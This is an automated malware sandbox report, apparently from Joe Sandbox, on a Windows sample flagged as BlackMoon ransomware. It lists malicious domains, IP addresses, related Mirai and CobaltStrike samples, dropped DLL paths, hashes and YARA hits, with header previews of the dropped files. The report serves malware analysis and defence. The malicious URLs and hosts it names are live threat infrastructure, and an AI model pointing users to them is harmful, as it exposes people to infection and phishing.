	https://www.so.com/link?m=bHHIH9gHiWMt7CT52Mk%2FHVbpA4Q7HLpfa%2Fe58lRjM9C9UVI%2BR7UmsSaIs1wIDRUJSJpxHEWC1%2BYp0sKM%2Fqs2t2rWnaBABhH9Okw2hj0SG5Er8qYCL76sO1Txz1%2BBPXh5CUJd9No6kEqqeY436	Get hash	malicious	Unknown	Browse	104.192.110.226
www.jmw.com.cn	f2.exe	Get hash	malicious	BlackMoon	Browse	47.94.225.221
	f1.exe	Get hash	malicious	Unknown	Browse	47.94.225.221
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	47.94.225.221
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	47.94.225.221
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse	47.94.225.221
www.douyin.com.queniuyk.com	f1.exe	Get hash	malicious	Unknown	Browse	163.181.201.232
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	163.181.92.243
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	163.181.92.240
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse	163.181.92.246
	file.exe	Get hash	malicious	Unknown	Browse	163.181.92.229
g8450a5.usallient81.jiasula.vip	f1.exe	Get hash	malicious	Unknown	Browse	45.194.34.250
g8450a5.usallient81.jiasula.vip	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	45.194.34.241
eu-central-1-ds-2085.oss-acc.aliyuncs.com	f2.exe	Get hash	malicious	BlackMoon	Browse	47.254.187.183
eu-central-1-ds-2088.oss-acc.aliyuncs.com	f1.exe	Get hash	malicious	Unknown	Browse	47.254.187.186
eu-central-1-ds-2088.oss-acc.aliyuncs.com	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	47.254.187.186
multi-az-www-api.kuaishou.com	f1.exe	Get hash	malicious	Unknown	Browse	103.102.202.125
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	103.107.217.26
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	103.102.202.144
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse	103.102.202.144

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
QUANTILNETWORKSUS	f2.exe	Get hash	malicious	BlackMoon	Browse	163.171.128.148
	f1.exe	Get hash	malicious	Unknown	Browse	163.171.132.119
	sora.sh4.elf	Get hash	malicious	Mirai	Browse	220.242.169.9
	GycOGRBrXW.elf	Get hash	malicious	Mirai	Browse	116.254.189.186
	mirai.arm.elf	Get hash	malicious	Mirai	Browse	116.254.159.14
	http://2323.pages.dev/	Get hash	malicious	Unknown	Browse	138.113.35.27
	https://www.allegroh.cc/	Get hash	malicious	Unknown	Browse	163.171.128.148
	SecuriteInfo.com.Win32.Application.Playtech.A.4150.17083.exe	Get hash	malicious	Unknown	Browse	163.171.131.248
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	163.171.132.119
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	163.171.132.119
CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	unLc6VekkL.elf	Get hash	malicious	Mirai	Browse	116.142.186.2
	17nDkQW4tK.elf	Get hash	malicious	Mirai	Browse	115.56.184.205
	2PQz3l61Pc.elf	Get hash	malicious	Mirai	Browse	101.19.112.247
	botx.mips.elf	Get hash	malicious	Mirai	Browse	125.39.152.70
	botx.x86.elf	Get hash	malicious	Mirai	Browse	113.202.153.101
	botx.mpsl.elf	Get hash	malicious	Mirai	Browse	171.127.101.187
	botx.arm.elf	Get hash	malicious	Mirai	Browse	122.141.231.83
	Ares.x86.elf	Get hash	malicious	Unknown	Browse	27.206.210.97
	x86_64.elf	Get hash	malicious	Mirai	Browse	123.8.85.39
	.5r3fqt67ew531has4231.x86.elf	Get hash	malicious	Mirai, Gafgyt, Moobot, Okiru	Browse	157.9.162.13
QIHOOBeijingQihuTechnologyCompanyLimitedCN	f2.exe	Get hash	malicious	BlackMoon	Browse	104.192.110.226
	f1.exe	Get hash	malicious	Unknown	Browse	104.192.110.226
	mirai.spc.elf	Get hash	malicious	Mirai	Browse	101.199.221.204
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	104.192.110.226
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	104.192.110.226
	LisectAVT_2403002C_44.exe	Get hash	malicious	EICAR	Browse	104.192.108.20
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse	104.192.110.226
	94.156.8.9-skid.sh4-2024-07-23T17_40_06.elf	Get hash	malicious	Mirai, Moobot	Browse	101.199.91.156
	FcMd5XxxZ0.elf	Get hash	malicious	Mirai	Browse	101.198.119.196
	eeep.jpg.exe	Get hash	malicious	Unknown	Browse	104.192.110.232
TAOBAOZhejiangTaobaoNetworkCoLtdCN	http://www.hongypower.com/company_profile.html	Get hash	malicious	Unknown	Browse	47.246.46.214
	f2.exe	Get hash	malicious	BlackMoon	Browse	163.181.131.211
	f1.exe	Get hash	malicious	Unknown	Browse	163.181.131.210
	uPrsrEVzMP.exe	Get hash	malicious	CobaltStrike	Browse	163.181.130.189
	https://www.aa5aa5aa5aa5aa44.app:3669/home	Get hash	malicious	Unknown	Browse	163.181.130.188
	SecuriteInfo.com.Adware.DownwareNET.4.32136.10916.exe	Get hash	malicious	Unknown	Browse	163.181.130.170
	https://dna-id-xcom.resmi-v1.biz.id/	Get hash	malicious	Unknown	Browse	163.181.131.216
	https://href.li/?https://mex.adobedownloader.info/ePPn/	Get hash	malicious	HTMLPhisher	Browse	163.181.131.243
	http://www.foodmate.net	Get hash	malicious	Unknown	Browse	163.181.130.191
	http://y3651111.com/	Get hash	malicious	Unknown	Browse	163.181.130.195

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\I5F4E5C2742\B71793\8541KG870.dll	f2.exe	Get hash	malicious	BlackMoon	Browse
C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe	f2.exe	Get hash	malicious	BlackMoon	Browse
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse
C:\Users\user\Desktop\I5F4E5C2742\A474748937\6528PJMNM.dll	f2.exe	Get hash	malicious	BlackMoon	Browse

Created / dropped Files

C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Download File

Process:	C:\Users\user\Desktop\1.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1168440
Entropy (8bit):	7.834939987470682
Encrypted:	false
SSDEEP:	24576:FNNUQIzh8Vd7EuHu3Z2E+XT9uZk2utlyvyaPko32:nueoJ5CUZ3uvwyaa
MD5:	0D79B45E55C20F14D9614596247B7DF2
SHA1:	F0E86CFFCAE509CC311F2BE6CC1C87CFB5616480
SHA-256:	A0C15F709E1B80E93A61CBA414E266097DC8C23A7E8DE2B6DBE825CA2952DF7E
SHA-512:	23FEF0EC6A846A96157C7F83104FA7A4B871A5244E0CF30B42513D5E8885D2E9164B30EC2C881945F6B761B294CD4A17321593C05B383414A7212316CFFCB8A4
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 13%
Joe Sandbox View:	Filename: f2.exe, Detection: malicious, Browse Filename: d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B............................3+............@..............................................@..........................,;..<.... ...............................................................................0..`...........................0.DE................................@...1.TA.....I.......4..................@...2.S......L...`..........................3.data..z..........................@...4.ls....................................5.data..............................@...6.eloc..................................7.src........ ......................@...8.ext...............................@...9.data.......0......................@...10.ta....q...@......................@...........................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.3588072191296206
Encrypted:	false
SSDEEP:	6:6xkoaaD0JOCEfMuaaD0JOCEfMKQmDhxkoaaD0JOCEfMuaaD0JOCEfMKQmD:maaD0JcaaD0JwQQ3aaD0JcaaD0JwQQ
MD5:	663C5D6018506231E334FB3EA962ED1C
SHA1:	539A4641CE92E57E4ADEE32750A817326E596D4C
SHA-256:	066CB701C03237D2612AA647E6BF08EF594360F96E433639B0CC9EED7335F1E1
SHA-512:	5F910653FD1B12B94D314EDEDF6EB2BEC70D369D921EB5B7CF4D199B0374D6C798336E39DBF2781F3B0457280E0DDA63BDF4861DF31C08152544B0F1039D5FCD
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	*.>.................D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8336922884687725
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugX:gJjJGtpTq2yv1AuNZRY3diu8iBVqFp
MD5:	7C81FE486594802BCCFB70747E3A7872
SHA1:	9F18E67ECB9F0CB8B99928C91C3CBB8A1747C174
SHA-256:	BCF8DE2CC552F4FEBF8C79A646AE921A5AB5D419314D42D7B7C5DE6824B1461C
SHA-512:	B919176BDFAB78B75C4E779312BC54680A9A8CEE369C75A43C60DBE984D940C6CBC5BD42C17D6884F37464C91D04B24CF0A2483FDF01FCA16C923A2E11D413EB
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xfff82427, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6584542764293231
Encrypted:	false
SSDEEP:	1536:JSB2ESB2SSjlK/AxrO1T1B0CZSJWYkr3g16n2UPkLk+kdbI/0uznv0M1Dn/didMV:Jaza6xhzA2U8HDnAPZ4PZf9h/9h
MD5:	7C54F61BE9CF6DFA3B8C0E5A0ECD8C10
SHA1:	6E597F56DEE734E414BB418F1E64BAEF8EEA30D5
SHA-256:	968E0103CE4DB4A7A2DE9951A8BB380896BB95300E44F9DF72E598A32F2C909E
SHA-512:	3D62E78098B6A4BA5B901657E59093080758435F14597130CB9768C466933681B66249DEFF29D6CFB70E078381840E2D80526EF494C9E2A0DEB1B3851204B9F1
Malicious:	false
Preview:	..$'... ...............X\...;...{......................T.~..........\|...;...\|..h.\|..........\|..T.~.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{....................................H......\|..................2v4.....\|...........................#......T.~.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07916422963292213
Encrypted:	false
SSDEEP:	3:AUXUetYeWMnvgrGNvoZCEmR/Jll58Kgvvl/QoeP/ll:AUdzT4rRZCEYz8KgR+t
MD5:	30C23560814233F46D175875C07D48BB
SHA1:	35D6B7827A688A4614E1A18C867DA0C6403683FC
SHA-256:	9008E47E25E01131E0CD719E08F123221440429318C43658427276C1F94E1312
SHA-512:	DDD0C795FBDD0E027D9356C956B27B7F017D96E9DDF6706783EFB27C6C58109B53116C5F07CDB304494AC4C527C48F296BBD16A10EDD447399FB4CE89F8304C2
Malicious:	false
Preview:	.(.......................................;...{...;...\|.......\|...............\|.......\|.....;.....\|...................2v4.....\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\httpErrorPagesScripts[1]

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	12105
Entropy (8bit):	5.451485481468043
Encrypted:	false
SSDEEP:	192:x20iniOciwd1BtvjrG8tAGGGVWnvyJVUrUiki3ayimi5ezLCvJG1gwm3z:xPini/i+1Btvjy815ZVUwiki3ayimi5f
MD5:	9234071287E637F85D721463C488704C
SHA1:	CCA09B1E0FBA38BA29D3972ED8DCECEFDEF8C152
SHA-256:	65CC039890C7CEB927CE40F6F199D74E49B8058C3F8A6E22E8F916AD90EA8649
SHA-512:	87D691987E7A2F69AD8605F35F94241AB7E68AD4F55AD384F1F0D40DC59FFD1432C758123661EE39443D624C881B01DCD228A67AFB8700FE5E66FC794A6C0384
Malicious:	false
Preview:	...function isExternalUrlSafeForNavigation(urlStr)..{..var regEx = new RegExp("^(http(s?)\|ftp\|file)://", "i");..return regEx.exec(urlStr);..}..function clickRefresh()..{..var location = window.location.href;..var poundIndex = location.indexOf('#');..if (poundIndex != -1 && poundIndex+1 < location.length && isExternalUrlSafeForNavigation(location.substring(poundIndex+1)))..{..window.location.replace(location.substring(poundIndex+1));..}..}..function navCancelInit()..{..var location = window.location.href;..var poundIndex = location.indexOf('#');..if (poundIndex != -1 && poundIndex+1 < location.length && isExternalUrlSafeForNavigation(location.substring(poundIndex+1)))..{..var bElement = document.createElement("A");..bElement.innerText = L_REFRESH_TEXT;..bElement.href = 'javascript:clickRefresh()';..navCancelContainer.appendChild(bElement);..}..else..{..var textNode = document.createTextNode(L_RELOAD_TEXT);..navCancelContainer.appendChild(textNode);..}..}..function getDisplayValue(elem

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\errorPageStrings[1]

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4722
Entropy (8bit):	5.16192639844512
Encrypted:	false
SSDEEP:	96:z9UUiqRxqH211CUIRgRLnRynjZbRXkRPRk6C87Apsat/5/+mhPcF+5g5O8b7A9I5:JsUOG1yNlX6ZzWpHOo/iP16CbM1k
MD5:	387B4FC78ABB97F378C5299D4D2CE305
SHA1:	6F2995FC620AB520C9EE1CA7244DF57367F983A2
SHA-256:	030209A13E2C84118139ABF0C4F08DBD203B4C802C7B73B74851860D79DF9CB7
SHA-512:	592D5E3FB7C78420F648281D87B0B303773749B8E0D3621A493ACAE257E2C1E77B782F3D6DAA0C2B3D37CBB4865B382617AF744E34F66C0F3E522DBCA7D71AAE
Malicious:	false
Preview:	.//Split out for localization...var L_GOBACK_TEXT = "Go back to the previous page.";..var L_REFRESH_TEXT = "Refresh the page.";..var L_MOREINFO_TEXT = "More information";..var L_OFFLINE_USERS_TEXT = "For offline users";..var L_RELOAD_TEXT = "Retype the address.";..var L_HIDE_HOTKEYS_TEXT = "Hide tab shortcuts";..var L_SHOW_HOTKEYS_TEXT = "Show more tab shortcuts";..var L_CONNECTION_OFF_TEXT = "You are not connected to the Internet. Check your Internet connection.";..var L_CONNECTION_ON_TEXT = "It appears you are connected to the Internet, but you might want to try to reconnect to the Internet.";....//used by invalidcert.js and hstscerterror.js..var L_CertUnknownCA_TEXT = "Your PC doesn\u2019t trust this website\u2019s security certificate.";..var L_CertExpired_TEXT = "The website\u2019s security certificate is not yet valid or has expired.";..var L_CertCNMismatch_TEXT = "The hostname in the website\u2019s security certificate differs from the website you are trying to visit.";..var L

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\dnserrordiagoff[1]

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	HTML document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1681
Entropy (8bit):	4.567538112791388
Encrypted:	false
SSDEEP:	24:rC7cWhfs5mVM4mVMyIjmgAV28EFP8hRqh/k+CkE03vjqX:u7o5V4VtihV2lFUWlEqvj6
MD5:	C74D57042D3614B92F2E0AF783ACD5DE
SHA1:	415F8A0F5DBD61D622724034C182C0B15E80CD20
SHA-256:	05182A8C3A558E671705B8A8421712A9715A1D597606E3710A6D6CFEB00FB462
SHA-512:	F33BC2CDA990B07FE8EA37A1F68DDDBF5FA9A67CA028019EA4D848B70CC6410D1468E0CE8F8132665124F6E4B8438AFFC41FB562D9E4A1401498E46CD0D1A0EC
Malicious:	false
Preview:	.<!DOCTYPE HTML>..<html>.. <head>.. <link rel="stylesheet" type="text/css" href="NewErrorPageTemplate.css">.. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.. <title>Can’t reach this page</title>.. <script src="errorPageStrings.js" language="javascript" type="text/javascript">.. </script>.. <script src="httpErrorPagesScripts.js" language="javascript" type="text/javascript">.. </script>.. </head>.... <body onLoad="javascript:getInfo();">.. <div id="contentContainer" class="mainContent">.. <div id="mainTitle" class="title">Can’t reach this page</div>.. <div class="taskSection" id="taskSection">.. <ul id="cantDisplayTasks" class="tasks">.. <li id="task1-1">Make sure the web address <span id="webpage" class="webpageURL"></span>is correct</li>.. <li id="task1-2">Search for this site on Bing</li>.. <l

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\NewErrorPageTemplate[1]

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1612
Entropy (8bit):	4.869554560514657
Encrypted:	false
SSDEEP:	24:5Y0bQ573pHpACtUZtJD0lFBopZleqw87xTe4D8FaFJ/Doz9AtjJgbCzg:5m73jcJqQep89TEw7Uxkk
MD5:	DFEABDE84792228093A5A270352395B6
SHA1:	E41258C9576721025926326F76063C2305586F76
SHA-256:	77B138AB5D0A90FF04648C26ADDD5E414CC178165E3B54A4CB3739DA0F58E075
SHA-512:	E256F603E67335151BB709294749794E2E3085F4063C623461A0B3DECBCCA8E620807B707EC9BCBE36DCD7D639C55753DA0495BE85B4AE5FB6BFC52AB4B284FD
Malicious:	false
Preview:	.body..{.. background-repeat: repeat-x;.. background-color: white;.. font-family: "Segoe UI", "verdana", "arial";.. margin: 0em;.. color: #1f1f1f;..}.....mainContent..{.. margin-top:80px;.. width: 700px;.. margin-left: 120px;.. margin-right: 120px;..}.....title..{.. color: #54b0f7;.. font-size: 36px;.. font-weight: 300;.. line-height: 40px;.. margin-bottom: 24px;.. font-family: "Segoe UI", "verdana";.. position: relative;..}.....errorExplanation..{.. color: #000000;.. font-size: 12pt;.. font-family: "Segoe UI", "verdana", "arial";.. text-decoration: none;..}.....taskSection..{.. margin-top: 20px;.. margin-bottom: 28px;.. position: relative; ..}.....tasks..{.. color: #000000;.. font-family: "Segoe UI", "verdana";.. font-weight:200;.. font-size: 12pt;..}....li..{.. margin-top: 8px;..}.....diagnoseButton..{.. outline: none;.. font-size: 9pt;..}.....launchInternetOptionsButton..{.. outline: none;

C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\deprecated.cookie

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	91
Entropy (8bit):	3.964980110923723
Encrypted:	false
SSDEEP:	3:ApEeKm8RKQB2LI/cAtAFqyLAIRlKFvBFGmWLn:ApEVNB2LI/xyFqyLbgzGdn
MD5:	99BDE3452748E34D6C50275110A6A8D4
SHA1:	E79CB2A8DB7D8490523529D3861F95BA73A20C23
SHA-256:	D07311ACF641866E7E84823D2962F593BB655792301DC61AD6F0C6869D9C5937
SHA-512:	19FD529C6FE60BBBE3710FED93F14D723A13AD427431F855ED84F5E5E496B9F3EB8A6E8C31D740239EB225753D52A4F464B489FDBDEFF4477480026263D0F691
Malicious:	false
Preview:	Cookies are no longer stored in files. Please use InternetCookie APIs to access cookies.

C:\Users\user\Desktop\1.lnk

Download File

Process:	C:\Users\user\Desktop\1.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Wed Oct 4 13:16:54 2023, mtime=Mon Aug 5 08:58:59 2024, atime=Mon Aug 5 08:58:58 2024, length=29911040, window=hide
Category:	dropped
Size (bytes):	547
Entropy (8bit):	5.16819952782787
Encrypted:	false
SSDEEP:	12:8mEVzYNbRjM4ijA7FaxkR8NFleS9pRmV:8mTnjM4eA7cxqfqpRm
MD5:	8F682C5E39619CEEEF6CF2815EAF5423
SHA1:	4708621E943AC5A50467C139F8A0509DE373168A
SHA-256:	C64547D2A43CBC5BDC6F461C95AE71913CF5FC9ED0AA92F90E33610DCD9CAEB6
SHA-512:	DFA99E9EE697ACE56A7FD01927F337F1454FCB690252ED7B0AE95582C1F863DF1E851FFFE9B78658BC45F2D6E96CD0A09891B1A4034119A65FFC77537B535B11
Malicious:	false
Preview:	L..................F.... ....2<m.....[......Vc.......h...........................P.O. .:i.....+00.:...:..,.LB.)...A&...&......O.........n....\.........P.2..h...Y`O .1.exe.<......DW.r.Y`O..............................1...e.x.e.......L...............-.......K.............\......C:\Users\user\Desktop\1.exe......\.1...e.x.e...C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.D.e.s.k.t.o.p.`.......X.......767668...........hT..CrF.f4... .wy2=.b...,...W..hT..CrF.f4... .wy2=.b...,...W..E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\Desktop\I5F4E5C2742\A474748937\6528PJMNM.dll

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2482176
Entropy (8bit):	7.655801729535385
Encrypted:	false
SSDEEP:	49152:vdt5TgZvBnBS7YWtu4uEiWaitbURcdltQ+LPfzgPKJdqL0B2eYL7YuPqpu0RKnX7:X5TgZvBnBS7YWtu4uEiWaitbURcdltQZ
MD5:	ED77B38E6DEACCC15EE7A3CDE313BF37
SHA1:	F9D6E7CA545790F385F35069230C153E38D84FF1
SHA-256:	2A7469FE77A4659592FE7E2C36D32343B3C8E728BB52EAEDA0CAE03BC74EAAB5
SHA-512:	594CA225AF6AB65688A2D891198B34D426B55F7B6CF55D366408D42DCC97B0E3A682D033F382CCE165D5DDE18381B88040F73BDC3D0C314E0C4D12AE32A09601
Malicious:	true
Yara Hits:	Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: C:\Users\user\Desktop\I5F4E5C2742\A474748937\6528PJMNM.dll, Author: Joe Security Rule: MALWARE_Win_BlackMoon, Description: Detects executables using BlackMoon RunTime, Source: C:\Users\user\Desktop\I5F4E5C2742\A474748937\6528PJMNM.dll, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 85%
Joe Sandbox View:	Filename: f2.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|...8...8...8...W...1...W...>...C...;.......0.............:..............:...........8.............8...9.......".......9...Rich8...........PE..L....o]...........!.........P......a..............E..........................(......................................A..K....$..,.............................(.D[......................................................T............................text...^........................... ..`.rdata..Ka.......p..................@..@.data........P.......P..............@....vmp0...13...P...@...@..............`..`.reloc..D[....(..`....%.............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\I5F4E5C2742\B71793\8541KG870.dll

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	614400
Entropy (8bit):	7.9216008760747325
Encrypted:	false
SSDEEP:	12288:v39HfzCgZ1UpcBLioopeCTKtYF3ECT9IhYWaTy94yVOvV3m3:vtLCcUpQmomea9F3B+XY2Ohm3
MD5:	1CD5B851B0AC196F36DF69B82DDD475E
SHA1:	A8831A73E9FB0FE78B110681F13300A56898680A
SHA-256:	23A842D3EE1B7724999BE5C8676BE999294D63B9BB94492E6BB4C0FB1A0D1402
SHA-512:	650053FFF05DF29976AF65347A5C9850B52186E0847BA2A7A05E3662E5CD607BDA5CA8B7290FFC56F6B786FE337FD8C48CCA8B953482C0C54AED5C1C041EC690
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 78%
Joe Sandbox View:	Filename: f2.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............n...n...n...q..n...q..n...r..n...a...n..Xr...n..Xf...n...H.bn..3q..n...H...n...n..Bl...a...n...H.an...n...n..3q..n..3q...n..Rich.n..........PE..L.....\...........!.........`......^........................................0!........................................d.................................... !....................................................... ..............................text....\|.......................... ..`.rdata..............................@..@.data...q.... ......................@....vmp0...Y...........................`..`.vmp1....4.......@..................`....reloc....... !......P..............@..B........................................................................................................................................................................................................................................

C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\A99DD9DC\F7BE15.ini

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	Generic INItialization configuration [clogs]
Category:	dropped
Size (bytes):	527
Entropy (8bit):	5.941417752569649
Encrypted:	false
SSDEEP:	12:8hmJGgAZX4PykhmmNxshWxky/66R96fw+WFPJGgAZX4PykhmmNxshWxky/66R967:efZ4ykhmmNxs4soMfLfZ4ykhmmNxs4sb
MD5:	884FCE3E99806A73D15F63C613BDF75A
SHA1:	EFD8A8DE7B686A37540FDA960072540AA224B138
SHA-256:	DD45324331A2D7A874A1BF8A9DB56348091033D9C5EB0B12D014E00C865B49FA
SHA-512:	1638B9FA68949B242ECAE2CE6B29E56852F727A54B96CD37324651EA73CF8571B3EB9AE87BCD5DC074032FB5B62EEF4BC58CA2094A059189E2CA86FB8AD68679
Malicious:	false
Preview:	[logs]..get=1..08-05 05:59:11:1750..SlBBJr4jZfugS44Ey58GZjeqSHOA671bOwDpcwqjSznb7aC9/F3XH7E/LUENwZrbWdoHPf1uerBjk6g9AJV/PHWz7k86y0+wOKdzEMY7BITyrd21xt0JGZxPzy5zoiNLK6PEgcwrUQ+dxjdyYtmKQgIWHWSz1MZBrieSOP4Gsoeqk8aho2se+dj1uzvHch0OeH1+W12dbFXOA7x8uDwUycp5TOnc5A0W..[clogs]..log11=1..08-05 05:59:11:1750..SlBBJr4jZfugS44Ey58GZjeqSHOA671bOwDpcwqjSznb7aC9/F3XH7E/LUENwZrbWdoHPf1uerBjk6g9AJV/PHWz7k86y0+wOKdzEMY7BITyrd21xt0JGZxPzy5zoiNLK6PEgcwrUQ+dxjdyYtmKQgIWHWSz1MZBrieSOP4Gsoeqk8aho2se+dj1uzvHch0OeH1+W12dbFXOA7x8uDwUycp5TOnc5A0W..

C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\DA15007\8001IF88B.dll

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4744704
Entropy (8bit):	6.6650839563858515
Encrypted:	false
SSDEEP:	98304:JeP71Yv5+I6GKuUKx7uhvxUe2OIMk7RJdu4IvSTmo8wEgMDOdK1rXFl6uwZqQQYC:Je5DNmu98hRJdu4IvSTmo8wEgMDOdGvx
MD5:	695A41CD6529A1D4761F989E1BDC1BCA
SHA1:	FF900F5B867491E5A1B577D4AC18CAD26BC766F7
SHA-256:	F44F6A43ED807169DED6CB176DC7B723859238588D978C7AC34D60D7037491E2
SHA-512:	2E0042D355E2D4C06EB310A4882BE7B03E2169F2411BBE4C7BFBFA5FD4614CCF2046E914C040E6DB103DF0D8A0805FE567D353CF562731B997F5522C6EE0AAFB
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o.A'+./t+./t+./tr.<t)./t...t"./tD..tn./tD..t~./t"..t-./t+..tC./t"..t<./tD..t=./t+./t./tD..t../tD..t./tRich+./t........PE..L....J.f...........!......6.."........3.......6...............................H...........@.................................t.=..............................pE..t..P.6.............................@.;.@.............6.T............................text....6.......6................. ..`.rdata...Q....6..R....6.............@..@.data.........>.......=.............@....vmp0....D... E..F....D.............`..`.reloc...t...pE..v....D.............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\DA15007\A743A4x03.dll

Download File

